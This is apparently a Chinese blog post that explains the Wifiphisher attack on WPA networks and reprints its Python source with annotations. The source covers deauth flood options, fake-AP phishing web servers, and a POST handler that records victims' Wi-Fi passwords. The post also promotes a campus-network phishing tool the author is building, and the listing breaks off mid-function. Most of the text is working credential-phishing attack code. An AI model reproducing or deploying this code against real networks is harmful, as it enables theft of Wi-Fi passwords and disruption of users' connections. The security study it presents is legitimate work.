cdxy.me
Footprints on Cyber Security and Python

 

工具介绍

开源无线安全工具Wifiphisher是基于MIT许可模式的开源软件,运行于Kali Linux之上。

github.com/sophron/wifiphisher

它能够对WPA加密的AP无线热点实施自动化钓鱼攻击,获取密码账户。由于利用了社工原理实施中间人攻击,Wifiphisher在实施攻击时无需进行暴力破解。

此外安利一个我们正在开发的项目,基于wifiphisher的校园网钓鱼工具,希望有小伙伴来一起玩耍:-P

github.com/noScripts/Campus-FakeAP

攻击原理

  1. 首先解除攻击者与AP之间的认证关系。Wifiphisher会向目标AP连接的所有客户端持续发送大量解除认证的数据包。
  2. 受攻击者登录假冒AP。Wifiphisher会嗅探附近无线区域并拷贝目标AP的设置,然后创建一个假冒AP,并设置NAT/DHCP服务器转发对应端口数据。那些被解除认证的客户端会尝试连接假冒AP。
  3. 向攻击者将推送一个以假乱真的路由器配置页面(钓鱼)。Wifiphisher会部署一个微型web服务器响应HTTP/HTTPS请求,当被攻击者的终端设备请求互联网页面时,wifiphisher将返回一个以假乱真的管理页面,以路由器固件升级为由要求重新输入和确认WPA密码。

准备工作

"""
    预备知识:
    1 无线网卡接口模式:
        Ad-hoc:不带AP的点对点无线网络
        Managed:通过多个AP组成的网络,无线设备可以在这个网络中漫游
        Master:设置该无线网卡为一个AP
        Repeater:设置为无线网络中继设备,可以转发网络包
        Secondary:设置为备份的AP/Repeater
        Monitor:监听模式
        Auto:由无线网卡自动选择工作模式
    2 Scapy涉及到的发包和嗅探
        scapy可以脱离python使用,在linux用scapy敲一下就可看到包的内容
        官方文档 http://www.secdev.org/projects/scapy/doc/
    3 Linux命令及工具
        建议按网上教程,完全使用命令行配置一遍Linux系统的wifi热点
        命令:
            iw
            iwconfig
        工具:
            dhcp
            hostapd
            dnsmasq
    4 攻击姿势
        克隆:伪造了源头的名称、信道、mac地址
        抑制源头:这里只使用了双向deauth和广播deauth两种(这个有点弱啊)
        钓鱼:开两个端口,使用HTTP和HTTPS服务挂钓鱼页面,同时嗅探


"""
建议先由程序主函数进入,按运行过程理解本代码

源码解读

这里我在源码都做了很详细的注释,直接贴代码啦~

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import os
import ssl
import re
import time
import sys
import SimpleHTTPServer
import BaseHTTPServer
import httplib
import SocketServer
import cgi
import argparse
import fcntl
from threading import Thread, Lock
from subprocess import Popen, PIPE, check_output
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

"""
    预备知识:
    1 无线网卡接口模式:
        Ad-hoc:不带AP的点对点无线网络
        Managed:通过多个AP组成的网络,无线设备可以在这个网络中漫游
        Master:设置该无线网卡为一个AP
        Repeater:设置为无线网络中继设备,可以转发网络包
        Secondary:设置为备份的AP/Repeater
        Monitor:监听模式
        Auto:由无线网卡自动选择工作模式
    2 Scapy涉及到的发包和嗅探
        scapy可以脱离python使用,在linux用scapy敲一下就可看到包的内容
        官方文档 http://www.secdev.org/projects/scapy/doc/
    3 Linux命令及工具
        建议按网上教程,完全使用命令行配置一遍Linux系统的wifi热点
        命令:
            iw
            iwconfig
        工具:
            dhcp
            hostapd
            dnsmasq
    4 攻击姿势
        克隆:伪造了源头的名称、信道、mac地址
        抑制源头:这里只使用了双向deauth和广播deauth两种(这个有点弱啊)
        钓鱼:开两个端口,使用HTTP和HTTPS服务挂钓鱼页面,同时嗅探

    建议先由程序主函数进入,按运行过程理解本代码
"""


conf.verb = 0

# Basic configuration
PORT = 8080
SSL_PORT = 443
PEM = 'cert/server.pem'
# 钓鱼页面的文件夹,会自动在里面找index.html
PHISING_PAGE = "phishing-scenarios/minimal"
POST_VALUE_PREFIX = "wfphshr"
NETWORK_IP = "10.0.0.0"
NETWORK_MASK = "255.255.255.0"
NETWORK_GW_IP = "10.0.0.1"
DHCP_LEASE = "10.0.0.2,10.0.0.100,12h"

# 把程序输出定位到/dev/null,否则会在程序运行时会在标准输出中显示命令的运行信息
# for subprocess (stdout = DN, stderr = DN)
DN = open(os.devnull, 'w')

# Console colors
W = '\033[0m'    # white (normal)
R = '\033[31m'   # red
G = '\033[32m'   # green
O = '\033[33m'   # orange
B = '\033[34m'   # blue
P = '\033[35m'   # purple
C = '\033[36m'   # cyan
GR = '\033[37m'  # gray
T = '\033[93m'   # tan

count = 0  # for channel hopping Thread
APs = {}  # for listing APs
hop_daemon_running = True
terminate = False

# in threading.py
lock = Lock()

#
def parse_args():
    # Create the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-c",
        "--channel",
        help="Choose the channel for monitoring. Default is channel 1",
        default="1"
    )
    parser.add_argument(
        "-s",
        "--skip",
        help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA"
    )
    parser.add_argument(
        "-jI",
        "--jamminginterface",
        help=("Choose monitor mode interface. " +
              "By default script will find the most powerful interface and " +
              "starts monitor mode on it. Example: -jI mon5"
              )
    )
    parser.add_argument(
        "-aI",
        "--apinterface",
        help=("Choose monitor mode interface. " +
              "By default script will find the most powerful interface and " +
              "starts monitor mode on it. Example: -jI mon5"
              )
    )
    parser.add_argument(
        "-m",
        "--maximum",
        help=("Choose the maximum number of clients to deauth." +
              "List of clients will be emptied and repopulated after" +
              "hitting the limit. Example: -m 5"
              )
    )
    parser.add_argument(
        "-n",
        "--noupdate",
        help=("Do not clear the deauth list when the maximum (-m) number" +
              "of client/AP combos is reached. Must be used in conjunction" +
              "with -m. Example: -m 10 -n"
              ),
        action='store_true'
    )
    parser.add_argument(
        "-t",
        "--timeinterval",
        help=("Choose the time interval between packets being sent." +
              " Default is as fast as possible. If you see scapy " +
              "errors like 'no buffer space' try: -t .00001"
              )
    )
    parser.add_argument(
        "-p",
        "--packets",
        help=("Choose the number of packets to send in each deauth burst. " +
              "Default value is 1; 1 packet to the client and 1 packet to " +
              "the AP. Send 2 deauth packets to the client and 2 deauth " +
              "packets to the AP: -p 2"
              )
    )
    parser.add_argument(
        "-d",
        "--directedonly",
        help=("Skip the deauthentication packets to the broadcast address of" +
              "the access points and only send them to client/AP pairs"
              ),
        action='store_true')
    parser.add_argument(
        "-a",
        "--accesspoint",
        help="Enter the MAC address of a specific access point to target"
    )

    return parser.parse_args()

#
class SecureHTTPServer(BaseHTTPServer.HTTPServer):
    """
    Simple HTTP server that extends the SimpleHTTPServer standard
    module to support the SSL protocol.

    Only the server is authenticated while the client remains
    unauthenticated (i.e. the server will not request a client
    certificate).

    It also reacts to self.stop flag.
    """
    def __init__(self, server_address, HandlerClass):
        SocketServer.BaseServer.__init__(self, server_address, HandlerClass)
        self.socket = ssl.SSLSocket(
            socket.socket(self.address_family, self.socket_type),
            keyfile=PEM,
            certfile=PEM
        )

        self.server_bind()
        self.server_activate()

    def serve_forever(self):
        """
        Handles one request at a time until stopped.
        """
        self.stop = False
        while not self.stop:
            self.handle_request()

#
class SecureHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    """
    Request handler for the HTTPS server. It responds to
    everything with a 301 redirection to the HTTP server.
    """
    def do_QUIT(self):
        """
        Sends a 200 OK response, and sets server.stop to True
        """
        self.send_response(200)
        self.end_headers()
        self.server.stop = True

    def setup(self):
        self.connection = self.request
        self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
        self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)

    def do_GET(self):
        self.send_response(301)
        self.send_header('Location', 'http://' + NETWORK_GW_IP + ':' + str(PORT))
        self.end_headers()

    def log_message(self, format, *args):
        return

#
class HTTPServer(BaseHTTPServer.HTTPServer):
    """
    HTTP server that reacts to self.stop flag.
    """

    def serve_forever(self):
        """
        Handle one request at a time until stopped.
        """
        self.stop = False
        while not self.stop:
            self.handle_request()

#
class HTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    """
    Request handler for the HTTP server that logs POST requests.
    """
    def redirect(self, page="/"):
        self.send_response(301)
        self.send_header('Location', page)
        self.end_headers()

    def do_QUIT(self):
        """
        Sends a 200 OK response, and sets server.stop to True
        """
        self.send_response(200)
        self.end_headers()
        self.server.stop = True

    def do_GET(self):

        if self.path == "/":
            wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp"
            with open(wifi_webserver_tmp, "a+") as log_file:
                log_file.write('[' + T + '*' + W + '] ' + O + "GET " + T +
                               self.client_address[0] + W + "\n"
                               )
                log_file.close()
            self.path = "index.html"
        self.path = "%s/%s" % (PHISING_PAGE, self.path)

        if self.path.endswith(".html"):
            if not os.path.isfile(self.path):
                self.send_response(404)
                return
            f = open(self.path)
            self.send_response(200)
            self.send_header('Content-type', 'text-html')
            self.end_headers()
            # Send file content to client
            self.wfile.write(f.read())
            f.close()
            return
        # Leave binary and other data to default handler.
        else:
            SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)

    def do_POST(self):
        global terminate
        redirect = False
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={'REQUEST_METHOD': 'POST',
                     'CONTENT_TYPE': self.headers['Content-type'],
                     })
        if not form.list:
            return
        for item in form.list:
            if item.name and item.value and POST_VALUE_PREFIX in item.name:
                redirect = True
                wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp"
                with open(wifi_webserver_tmp, "a+") as log_file:
                    log_file.write('[' + T + '*' + W + '] ' + O + "POST " +
                                   T + self.client_address[0] +
                                   R + " " + item.name + "=" + item.value +
                                   W + "\n"
                                   )
                    log_file.close()
        if redirect == True:
            self.redirect("/upgrading.html")
            terminate = True
            return
        self.redirect()

    def log_message(self, format, *args):
        return

#
def stop_server(port=PORT, ssl_port=SSL_PORT):
    """
    Sends QUIT request to HTTP server running on localhost:<port>
    """
    conn = httplib.HTTPConnection("localhost:%d" % port)
    conn.request("QUIT", "/")
    conn.getresponse()

    conn = httplib.HTTPSConnection("localhost:%d" % ssl_port)
    conn.request("QUIT", "/")
    conn.getresponse()

#
def shutdown():
    """
    Shutdowns program.
    """
    os.system('iptables -F')
    os.system('iptables -X')
    os.system('iptables -t nat -F')
    os.system('iptables -t nat -X')
    os.system('pkill airbase-ng')
    os.system('pkill dnsmasq')
    os.system('pkill hostapd')
    if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
        os.remove('/tmp/wifiphisher-webserver.tmp')
    if os.path.isfile('/tmp/wifiphisher-jammer.tmp'):
        os.remove('/tmp/wifiphisher-jammer.tmp')
    if os.path.isfile('/tmp/hostapd.conf'):
        os.remove('/tmp/hostapd.conf')
    reset_interfaces()
    print '\n[' + R + '!' + W + '] Closing'
    sys.exit(0)

#
def get_interfaces():

    """
    获取接口信息
    把机器上的无线网卡按monitor和managed状态分类。存入interfaces并返回
    最终interfaces会是这样:(dict)interfaces={"monitor":[wlan0], "managed":[wlan1], "all":[wlan0, wlan1]}
    """

    interfaces = {"monitor": [], "managed": [], "all": []}
    # 使用命令iwconfig